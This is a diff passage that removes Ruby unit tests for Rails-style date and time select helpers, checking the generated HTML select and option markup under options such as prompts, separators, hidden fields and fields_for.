-    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="">Choose hour</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n)
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :start_hour => 1, :end_hour => 9, :prefix => "date[first]",
-      :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
-  end
-
-  def test_select_datetime_with_hidden
-    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
-    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
-    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :datetime_separator => "—", :date_separator => "/",
-      :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
-  end
-
-  def test_select_time
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
-    expected << %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18))
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false)
-  end
-
-  def test_select_time_with_ampm
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
-    expected << %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\ [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false, :ampm => true)
-  end
-
-  def test_select_time_with_separator
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-    expected << %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ')
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ', :include_seconds => false)
-  end
-
-  def test_select_time_with_seconds
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
-    expected << %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << ' : '
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << ' : '
-
-    expected << %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true)
-  end
-
-  def test_select_time_with_seconds_and_separator
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
-    expected << %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :time_separator => ' : ')
-  end
-
-  def test_select_time_with_html_options
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
-    expected << %(<select id="date_hour" name="date[hour]" class="selector">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_minute" name="date[minute]" class="selector">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector')
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {:include_seconds => false}, :class => 'selector')
-  end
-
-  def test_select_time_should_work_with_date
-    assert_nothing_raised { select_time(Date.today) }
-  end
-
-  def test_select_time_with_default_prompt
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
-    expected << %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<opt [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</ [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :prompt => true)
-  end
-
-  def test_select_time_with_custom_prompt
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
-    expected << %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\ [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="1 [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true, :include_seconds => true,
-      :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
-  end
-
-  def test_select_time_with_hidden
-    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
-    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
-    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
-
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
-  end
-
-  def test_date_select
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on")
-  end
-
-  def test_date_select_with_selected
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7" selected="selected">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</o [...]
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :selected => Date.new(2004, 07, 10))
-  end
-
-  def test_date_select_with_selected_nil
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1"/>' + "\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="1 [...]
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", include_blank: true, discard_year: true, selected: nil)
-  end
-
-  def test_date_select_without_day
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
-
-    expected <<  %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :order => [ :month, :year ])
-  end
-
-  def test_date_select_without_day_and_month
-    @post = Post.new
-    @post.written_on = Date.new(2004, 2, 29)
-
-    expected = "<input type=\"hidden\" id=\"post_written_on_2i\" name=\"post[written_on(2i)]\" value=\"2\" />\n"
-    expected << "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
-
-    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :order => [ :year ])
-  end
-
-  def test_date_select_without_day_with_separator
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
-
-    expected <<  %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << "/"
-
-    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :date_separator => '/', :order => [ :month, :year ])
-  end
-
-  def test_date_select_without_day_and_with_disabled_html_option
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" disabled=\"disabled\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
-
-    expected <<  %{<select id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", { :order => [ :month, :year ] }, :disabled => true)
-  end
-
-  def test_date_select_within_fields_for
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    output_buffer = fields_for :post, @post do |f|
-      concat f.date_select(:written_on)
-    end
-
-    expected = "<select id='post_written_on_1i' name='post[written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option> [...]
-    expected << "<select id='post_written_on_2i' name='post[written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<optio [...]
-    expected << "<select id='post_written_on_3i' name='post[written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value=' [...]
-
-    assert_dom_equal(expected, output_buffer)
-  end
-
-  def test_date_select_within_fields_for_with_index
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-    id = 27
-
-    output_buffer = fields_for :post, @post, :index => id do |f|
-      concat f.date_select(:written_on)
-    end
-
-    expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'> [...]
-    expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</op [...]
-    expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<o [...]
-
-    assert_dom_equal(expected, output_buffer)
-  end
-
-  def test_date_select_within_fields_for_with_blank_index
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-    id = nil
-
-    output_buffer = fields_for :post, @post, :index => id do |f|
-      concat f.date_select(:written_on)
-    end
-
-    expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'> [...]
-    expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</op [...]
